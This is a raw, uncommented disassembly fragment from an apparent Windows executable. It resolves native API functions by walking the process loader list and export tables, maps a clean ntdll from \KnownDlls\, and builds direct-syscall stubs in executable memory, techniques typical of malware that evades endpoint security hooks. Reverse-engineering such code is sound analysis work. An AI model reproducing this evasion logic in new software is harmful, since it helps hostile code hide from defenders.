cmp word [rax], 0
jne 0x14004ae54
lea rdx, [0x14005feb0]
mov ecx, 0x6e
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rax + rdx]
test cx, cx
jne 0x14004ae70
mov word [rax], r15w
lea rcx, [rbp + 0x520]
cmp word [rbp + 0x520], 0
mov eax, r15d
je 0x14004aeac
nop dword [rax + rax]
inc eax
lea rcx, [rcx + 2]
cmp word [rcx], 0
jne 0x14004aea0
add ax, ax
mov dword [rbp - 0x20], 0x30
mov word [rbp + 0x30], ax
mov r14, r15
add ax, 2
mov qword [rbp - 0x18], r15
mov word [rbp + 0x32], ax
lea rax, [rbp + 0x520]
mov qword [rbp + 0x38], rax
lea rax, [rbp + 0x30]
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x30], xmm0
xorps xmm0, xmm0
movdqu xmmword [rbp], xmm0
mov dword [rbp - 8], 0x40
mov qword [rbp - 0x10], rax
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004af38
nop dword [rax]
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004af2a
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x14004af34
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14004af10
jmp 0x14004af38
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
test r9, r9
je 0x14004afe7
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x14004afe7
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14004afe7
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14004afe7
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x14004afe7
lea rsi, str.ZwOpenSection
nop dword [rax]
mov eax, dword [rdi]
mov rcx, rsi
add rax, r9
je 0x14004afdb
movzx edx, byte [rax]
cmp dl, 0x5a
jne 0x14004afd1
sub rax, rsi
test dl, dl
je 0x14004afcc
cmp byte [rcx], 0
je 0x14004afd1
movzx edx, byte [rax + rcx + 1]
inc rcx
cmp dl, byte [rcx]
je 0x14004afb5
jmp 0x14004afd1
cmp byte [rcx], 0
je 0x14004b02a
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x14004b02a
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14004afa0
mov r12, r15
mov rax, qword gs:[0x60]
mov r14, r15
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004b03f
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004b020
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x14004b03b
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14004b006
jmp 0x14004b03f
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r12d, dword [rbx + rcx*4]
add r12, r9
jmp 0x14004afea
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
test r9, r9
je 0x14004b0fb
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x14004b0fb
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14004b0fb
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14004b0fb
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x14004b0fb
lea rsi, str.ZwMapViewOfSection
mov ecx, dword [rdi]
mov rdx, rsi
add rcx, r9
je 0x14004b0de
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x14004b0d4
sub rcx, rsi
test al, al
je 0x14004b0cf
cmp byte [rdx], 0
je 0x14004b0d4
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x14004b0b8
jmp 0x14004b0d4
cmp byte [rdx], 0
je 0x14004b0ec
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14004b0ec
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14004b0a4
jmp 0x14004b0fb
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r15d, dword [rbx + rcx*4]
add r15, r9
mov rax, qword gs:[0x60]
xor r14d, r14d
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004b13f
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004b131
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x14004b13b
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14004b117
jmp 0x14004b13f
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
test r9, r9
je 0x14004b270
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x14004b270
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14004b270
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14004b270
mov edi, dword [rax + 0x20]
xor esi, esi
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
mov r8d, esi
test r10d, r10d
je 0x14004b270
lea r14, str.NtClose
nop word [rax + rax]
mov eax, dword [rdi]
mov rcx, r14
add rax, r9
je 0x14004b1eb
movzx edx, byte [rax]
cmp dl, 0x4e
jne 0x14004b1e1
sub rax, r14
test dl, dl
je 0x14004b1dc
cmp byte [rcx], sil
je 0x14004b1e1
movzx edx, byte [rax + rcx + 1]
inc rcx
cmp dl, byte [rcx]
je 0x14004b1c5
jmp 0x14004b1e1
cmp byte [rcx], sil
je 0x14004b1f9
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x14004b1f9
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14004b1b0
jmp 0x14004b270
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov edi, dword [rbx + rcx*4]
add rdi, r9
je 0x14004b270
test r15, r15
je 0x14004b270
test r12, r12
je 0x14004b270
lea r8, [rbp - 0x20]
mov edx, 4
lea rcx, [rbp + 0x18]
call r12
test eax, eax
js 0x14004b270
mov rcx, qword [rbp + 0x18]
lea rax, [rbp + 0x48]
mov dword [rsp + 0x48], 2
lea r8, [rsp + 0x60]
mov dword [rsp + 0x40], esi
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
lea rdx, [r9 - 1]
mov qword [rsp + 0x20], rsi
call r15
test eax, eax
js 0x14004b270
mov rcx, qword [rbp + 0x18]
test rcx, rcx
je 0x14004b270
call rdi
mov rax, qword gs:[0x60]
xor r15d, r15d
mov r14d, r15d
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004b2b8
nop
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004b2aa
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x14004b2b4
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14004b290
jmp 0x14004b2b8
lea r14, [rdi - 0x10]
mov r10, qword [rsp + 0x60]
test r10, r10
je 0x14004b462
mov rbx, qword [r14 + 0x30]
test rbx, rbx
je 0x14004b462
mov r12d, 0x5a4d
cmp word [r10], r12w
jne 0x14004b37f
mov eax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x14004b37f
mov eax, dword [rax + r10 + 0x88]
add rax, r10
je 0x14004b37f
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r10
mov esi, dword [rax + 0x1c]
add r11, r10
mov r9d, dword [rax + 0x14]
add rsi, r10
test r9d, r9d
je 0x14004b37f
lea r14, str.NtQueryInformationProcess
nop dword [rax + rax]
mov eax, dword [rdi]
mov rcx, r14
add rax, r10
je 0x14004b373
movzx edx, byte [rax]
cmp dl, 0x4e
jne 0x14004b365
sub rax, r14
test dl, dl
je 0x14004b35c
cmp byte [rcx], r15b
je 0x14004b365
movzx edx, byte [rax + rcx + 1]
inc rcx
cmp dl, byte [rcx]
je 0x14004b345
jmp 0x14004b365
cmp byte [rcx], r15b
je 0x14004b3fd
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x14004b3fd
inc r8d
add rdi, 4
cmp r8d, r9d
jb 0x14004b330
mov r9, r15
cmp word [rbx], r12w
jne 0x14004b42c
mov eax, dword [rbx + 0x3c]
cmp dword [rax + rbx], 0x4550
jne 0x14004b42c
mov eax, dword [rax + rbx + 0x88]
add rax, rbx
je 0x14004b42c
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov esi, dword [rax + 0x24]
add rdi, rbx
mov r14d, dword [rax + 0x1c]
add rsi, rbx
mov r11d, dword [rax + 0x14]
add r14, rbx
test r11d, r11d
je 0x14004b42c
lea r12, str.ZwUnmapViewOfSection
mov ecx, dword [rdi]
mov rdx, r12
add rcx, rbx
je 0x14004b420
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x14004b416
sub rcx, r12
test al, al
je 0x14004b411
cmp byte [rdx], r15b
je 0x14004b416
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x14004b3e6
jmp 0x14004b416
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r9d, dword [rsi + rcx*4]
add r9, r10
jmp 0x14004b382
cmp byte [rdx], r15b
je 0x14004b442
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14004b442
inc r8d
add rdi, 4
cmp r8d, r11d
jb 0x14004b3d2
mov rax, r15
mov rdx, r10
mov rcx, 0xffffffffffffffff
test r9, r9
jne 0x14004b452
call rax
jmp 0x14004b462
movsxd rax, r8d
movzx ecx, word [rsi + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, rbx
jmp 0x14004b42f
movzx ebx, word [r9 + 4]
call rax
mov word [rbp + 0x10], bx
test bx, bx
jne 0x14004b4a4
mov al, byte [0x7ffe026c]
cmp al, 0xa
je 0x14004b49b
cmp al, 6
jne 0x14004b494
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x14004b494
sub ecx, 1
je 0x14004b48d
cmp ecx, 1
jne 0x14004b49b
lea ebx, [rcx + 0x17]
jmp 0x14004b4a0
mov ebx, 0x17
jmp 0x14004b4a0
mov ebx, 0x16
jmp 0x14004b4a0
mov ebx, 0x19
mov word [rbp + 0x10], bx
mov edx, 0x1024
xor ecx, ecx
lea r9d, [rcx + 0x40]
lea r8d, [rdx - 0x24]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x14004b5de
lea rcx, [rbp + 0x1e1]
lea rax, [rbp + 0x10]
cmp rcx, rax
jbe 0x14004b4e0
lea rcx, [rbp + 0x1e1]
lea rax, [rbp + 0x12]
movzx eax, byte [rbp + 0x11]
lea rcx, [rbp + 0x1e0]
mov byte [rbp + 0x1e2], al
mov byte [rbp + 0x1e1], bl
cmp rdi, rcx
jbe 0x14004b530
lea rcx, [rbp + 0x1eb]
cmp rdi, rcx
jae 0x14004b530
lea rcx, [rdi + 0xa]
mov edx, 0xb
movzx eax, byte [rbp + rdx + 0x1df]
mov byte [rcx], al
lea rcx, [rcx - 1]
sub rdx, 1
jne 0x14004b511
jmp 0x14004b547
mov byte [rdi], 0xb8
mov byte [rdi + 1], bl
mov byte [rdi + 2], al
mov dword [rdi + 3], 0x8b4c0000
mov dword [rdi + 7], 0xc3050fd1
mov r9d, 4
mov qword [rsp + 0x20], r15
lea r8, [rbp + 0x14]
mov rcx, 0xffffffffffffffff
lea edx, [r9 + 0x1b]
call rdi
lea rbx, [rbp + 0x1e0]
mov esi, eax
sub rbx, rdi
mov r11d, 0xb
mov r9, rdi
nop dword [rax + rax]
movzx r10d, byte [rbx + r9]
movzx r8d, byte [r9]
lea ecx, [r10 - 0x61]
cmp ecx, 0x19
lea edx, [r10 - 0x20]
lea eax, [r8 - 0x61]
cmova edx, r10d
lea ecx, [r8 - 0x20]
cmp eax, 0x19
cmova ecx, r8d
cmp ecx, edx
jne 0x14004b5b6
inc r9
sub r11, 1
jne 0x14004b580
jmp 0x14004b5bf
cmp r8d, r10d
jne 0x14004c8bb
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test esi, esi
jne 0x14004b5de
cmp dword [rbp + 0x14], r15d
je 0x14004c8bb
xor eax, eax
mov qword [rbp + 0x20], r15
lea rdi, [rbp + 0x730]
mov dword [rbp + 0x1f0], 0xb8
mov ecx, 0x104
mov dword [rbp + 0x1f4], 0xd18b4c00
rep stosb byte [rdi], al
lea rax, [rbp + 0x730]
mov word [rbp + 0x1f8], 0x50f
mov byte [rbp + 0x1fa], 0xc3
mov qword [rsp + 0x60], r15
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x48], r15
mov dword [rbp - 0x4c], r15d
mov dword [rbp - 0x34], r15d
cmp word [rbp + 0x730], r15w
je 0x14004b64a
nop dword [rax]
add rax, 2
cmp word [rax], r15w
jne 0x14004b640
lea rcx, str.KnownDlls_
sub rcx, rax
nop dword [rax]
nop dword [rax + rax]
mov word [rax], r13w
lea rax, [rax + 2]
movzx r13d, word [rcx + rax]
test r13w, r13w
jne 0x14004b660
mov word [rax], r15w
lea rax, [rbp + 0x730]
cmp word [rbp + 0x730], r15w
je 0x14004b69a
nop dword [rax + rax]
add rax, 2
cmp word [rax], r15w
jne 0x14004b690
lea rcx, [0x14005feb0]
mov edx, 0x6e
sub rcx, rax
nop dword [rax]
mov word [rax], dx
lea rax, [rax + 2]
movzx edx, word [rcx + rax]
test dx, dx
jne 0x14004b6b0
mov word [rax], r15w
lea rcx, [rbp + 0x730]
mov eax, r15d
cmp word [rbp + 0x730], r15w
je 0x14004b6ec
nop dword [rax + rax]
inc eax
lea rcx, [rcx + 2]
cmp word [rcx], r15w
jne 0x14004b6e0
add ax, ax
mov dword [rbp - 0x50], 0x30
mov word [rbp + 0x30], ax
mov r14, r15
add ax, 2
mov qword [rbp - 0x48], r15
mov word [rbp + 0x32], ax
lea rax, [rbp + 0x730]
mov qword [rbp + 0x38], rax
lea rax, [rbp + 0x30]
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x30], xmm0
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x38], 0x40
mov qword [rbp - 0x40], rax
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004b778
nop dword [rax]
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004b76a
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x14004b774
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14004b750
jmp 0x14004b778
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
mov r13d, 0x5a4d
test r9, r9
je 0x14004b822
cmp word [r9], r13w
jne 0x14004b822
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14004b822
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14004b822
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x14004b822
lea rsi, str.ZwOpenSection
mov ecx, dword [rdi]
mov rdx, rsi
add rcx, r9
je 0x14004b816
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x14004b80c
sub rcx, rsi
nop word [rax + rax]
test al, al
je 0x14004b807
cmp byte [rdx], r15b
je 0x14004b80c
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x14004b7f0
jmp 0x14004b80c
cmp byte [rdx], r15b
je 0x14004b865
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14004b865
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14004b7d6
mov r12, r15
mov rax, qword gs:[0x60]
mov r14, r15
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004b87a
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004b85b
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x14004b876
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14004b841
jmp 0x14004b87a
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r12d, dword [rbx + rcx*4]
add r12, r9
jmp 0x14004b825
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
test r9, r9
je 0x14004b919
cmp word [r9], r13w
jne 0x14004b919
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14004b919
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14004b919
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x14004b919
lea rsi, str.ZwMapViewOfSection
mov eax, dword [rdi]
mov rcx, rsi
add rax, r9
je 0x14004b90d
movzx edx, byte [rax]
cmp dl, 0x5a
jne 0x14004b903
sub rax, rsi
test dl, dl
je 0x14004b8fe
cmp byte [rcx], r15b
je 0x14004b903
movzx edx, byte [rax + rcx + 1]
inc rcx
cmp dl, byte [rcx]
je 0x14004b8e7
jmp 0x14004b903
cmp byte [rcx], r15b
je 0x14004b959
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x14004b959
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14004b8d2
mov r14, r15
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004b96e
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004b94f
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x14004b96a
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14004b935
jmp 0x14004b96e
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r14d, dword [rbx + rcx*4]
add r14, r9
jmp 0x14004b91c
lea r15, [rdi - 0x10]
mov r9, qword [r15 + 0x30]
test r9, r9
je 0x14004ba9e
cmp word [r9], r13w
jne 0x14004ba9e
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14004ba9e
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14004ba9e
mov edi, dword [rax + 0x20]
xor r15d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
mov r8d, r15d
test r10d, r10d
je 0x14004baa1
lea rsi, str.NtClose
mov ecx, dword [rdi]
mov rdx, rsi
add rcx, r9
je 0x14004ba16
movzx eax, byte [rcx]
cmp al, 0x4e
jne 0x14004ba0c
sub rcx, rsi
nop dword [rax]
test al, al
je 0x14004ba07
cmp byte [rdx], r15b
je 0x14004ba0c
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x14004b9f0
jmp 0x14004ba0c
cmp byte [rdx], r15b
je 0x14004ba24
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14004ba24
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14004b9d5
jmp 0x14004baa1
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov edi, dword [rbx + rcx*4]
add rdi, r9
je 0x14004baa1
test r14, r14
je 0x14004baa1
test r12, r12
je 0x14004baa1
lea r8, [rbp - 0x50]
mov edx, 4
lea rcx, [rbp + 0x18]
call r12
test eax, eax
js 0x14004baa1
mov rcx, qword [rbp + 0x18]
lea rax, [rbp + 0x48]
mov dword [rsp + 0x48], 2
lea r8, [rsp + 0x60]
mov dword [rsp + 0x40], r15d
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
lea rdx, [r9 - 1]
mov qword [rsp + 0x20], r15
call r14
test eax, eax
js 0x14004baa1
mov rcx, qword [rbp + 0x18]
test rcx, rcx
je 0x14004baa1
call rdi
jmp 0x14004baa1
xor r15d, r15d
mov rax, qword gs:[0x60]
mov r14, r15
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004bae8
nop dword [rax]
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004bada
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x14004bae4
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14004bac0
jmp 0x14004bae8
lea r14, [rdi - 0x10]
mov r9, qword [rsp + 0x60]
test r9, r9
je 0x14004bc8b
mov r11, qword [r14 + 0x30]
test r11, r11
je 0x14004bc8b
cmp word [r9], r13w
jne 0x14004bba0
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14004bba0
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14004bba0
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov ebx, dword [rax + 0x24]
add rdi, r9
mov esi, dword [rax + 0x1c]
add rbx, r9
mov r10d, dword [rax + 0x14]
add rsi, r9
test r10d, r10d
je 0x14004bba0
lea r14, str.NtQueryInformationProcess
mov eax, dword [rdi]
mov rcx, r14
add rax, r9
je 0x14004bb94
movzx edx, byte [rax]
cmp dl, 0x4e
jne 0x14004bb86
sub rax, r14
test dl, dl
je 0x14004bb7d
cmp byte [rcx], 0
je 0x14004bb86
movzx edx, byte [rcx + rax + 1]
inc rcx
cmp dl, byte [rcx]
je 0x14004bb66
jmp 0x14004bb86
cmp byte [rcx], 0
je 0x14004bc27
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x14004bc27
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14004bb51
mov r10, r15
cmp word [r11], r13w
jne 0x14004bc55
mov eax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14004bc55
mov eax, dword [rax + r11 + 0x88]
add rax, r11
je 0x14004bc55
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov esi, dword [rax + 0x24]
add rdi, r11
mov r14d, dword [rax + 0x1c]
add rsi, r11
mov ebx, dword [rax + 0x14]
add r14, r11
test ebx, ebx
je 0x14004bc55
lea r12, str.ZwUnmapViewOfSection
mov eax, dword [rdi]
mov rcx, r12
add rax, r11
je 0x14004bc49
movzx edx, byte [rax]
cmp dl, 0x5a
jne 0x14004bc3f
sub rax, r12
nop dword [rax]
test dl, dl
je 0x14004bc3a
cmp byte [rcx], 0
je 0x14004bc3f
movzx edx, byte [rcx + rax + 1]
inc rcx
cmp dl, byte [rcx]
je 0x14004bc10
jmp 0x14004bc3f
movsxd rax, r8d
movzx ecx, word [rbx + rax*2]
mov r10d, dword [rsi + rcx*4]
add r10, r9
jmp 0x14004bba3
cmp byte [rcx], 0
je 0x14004bc6b
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x14004bc6b
inc r8d
add rdi, 4
cmp r8d, ebx
jb 0x14004bbf4
mov rax, r15
mov rdx, r9
mov rcx, 0xffffffffffffffff
test r10, r10
jne 0x14004bc7b
call rax
jmp 0x14004bc8b
movsxd rax, r8d
movzx ecx, word [rsi + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
jmp 0x14004bc58
movzx ebx, word [r10 + 4]
call rax
mov word [rbp + 0x10], bx
test bx, bx
jne 0x14004bcd6
mov al, byte [0x7ffe026c]
cmp al, 0xa
je 0x14004bcca
cmp al, 6
jne 0x14004bcc3
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x14004bcc3
sub ecx, 1
je 0x14004bcbc
cmp ecx, 1
jne 0x14004bcca
mov ebx, 0x18
mov word [rbp + 0x10], bx
jmp 0x14004bcd6
mov eax, 0x17
jmp 0x14004bccf
mov eax, 0x16
jmp 0x14004bccf
mov eax, 0x19
movzx ebx, ax
mov word [rbp + 0x10], ax
mov edx, 0x1024
xor ecx, ecx
lea r9d, [rcx + 0x40]
lea r8d, [rdx - 0x24]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x14004be1f
lea rcx, [rbp + 0x1f1]
lea rax, [rbp + 0x10]
cmp rcx, rax
jbe 0x14004bd12
lea rcx, [rbp + 0x1f1]
lea rax, [rbp + 0x12]
movzx eax, byte [rbp + 0x11]
lea rcx, [rbp + 0x1f0]
mov byte [rbp + 0x1f2], al
mov byte [rbp + 0x1f1], bl
cmp rdi, rcx
jbe 0x14004bd70
lea rcx, [rbp + 0x1fb]
cmp rdi, rcx
jae 0x14004bd70
mov esi, 0xb
lea rcx, [rdi + 0xa]
mov edx, esi
nop word [rax + rax]
movzx eax, byte [rbp + rdx + 0x1ef]
mov byte [rcx], al
lea rcx, [rcx - 1]
sub rdx, 1
jne 0x14004bd50
jmp 0x14004bd8c
mov byte [rdi], 0xb8
mov esi, 0xb
mov byte [rdi + 1], bl
mov byte [rdi + 2], al
mov dword [rdi + 3], 0x8b4c0000
mov dword [rdi + 7], 0xc3050fd1
mov r9d, 8
mov qword [rsp + 0x20], r15
lea r8, [rbp + 0x20]
mov rcx, 0xffffffffffffffff
lea edx, [r9 + 0x16]
call rdi
lea r11, [rbp + 0x1f0]
mov ebx, eax
sub r11, rdi
mov r9, rdi
nop word [rax + rax]
movzx r10d, byte [r9 + r11]
movzx r8d, byte [r9]
lea ecx, [r10 - 0x61]
cmp ecx, 0x19
lea edx, [r10 - 0x20]
lea eax, [r8 - 0x61]
cmova edx, r10d
lea ecx, [r8 - 0x20]
cmp eax, 0x19
cmova ecx, r8d
cmp ecx, edx
jne 0x14004bdf6
inc r9
sub rsi, 1
jne 0x14004bdc0
jmp 0x14004bdff
cmp r8d, r10d
jne 0x14004c8bb
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test ebx, ebx
js 0x14004be1f
cmp qword [rbp + 0x20], 0
jne 0x14004c8bb
call fcn.140045d70
test al, al
jne 0x14004c8bb
call fcn.140047280
test al, al
jne 0x14004c8bb
mov dword [rbp + 0x10], r15d
xor edx, edx
mov rax, qword gs:[0x60]
xor r13b, r13b
mov r14d, edx
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004be8a
nop
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004be7a
lea rcx, [0x14005feb0]
call fcn.140045b70
test rax, rax
jne 0x14004be84
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14004be60
jmp 0x14004be88
lea r14, [rdi - 0x10]
xor edx, edx
mov r9, qword [r14 + 0x30]
lea r12, str.NtQuerySystemInformation
test r9, r9
je 0x14004c0be
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x14004c0be
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14004c0be
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14004c0be
mov edi, dword [rax + 0x20]
mov r8d, edx
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x14004c0be
mov ecx, dword [rdi]
mov rdx, r12
add rcx, r9
je 0x14004bf2d
movzx eax, byte [rcx]
cmp al, 0x4e
jne 0x14004bf23
sub rcx, r12
test al, al
je 0x14004bf1e
cmp byte [rdx], r13b
je 0x14004bf23
movzx eax, byte [rdx + rcx + 1]
inc rdx
cmp al, byte [rdx]
je 0x14004bf07
jmp 0x14004bf23
cmp byte [rdx], r13b
je 0x14004bf3e
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14004bf3e
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14004bef3
jmp 0x14004c0be
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov edi, dword [rbx + rcx*4]
add rdi, r9
je 0x14004c0be
mov ebx, 0x16
lea r9, [rbp + 0x10]
mov ecx, ebx
xor r8d, r8d
xor edx, edx
call rdi
cmp eax, 0xc0000004
jne 0x14004bfb4
nop dword [rax + rax]
test r15, r15
je 0x14004bf86
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x10]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rbp + 0x10]
lea r9, [rbp + 0x10]
mov rdx, rax
mov ecx, ebx
mov r15, rax
call rdi
cmp eax, 0xc0000004
je 0x14004bf70
test eax, eax
jns 0x14004bfd7
test r15, r15
je 0x14004c0be
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x14004c0be
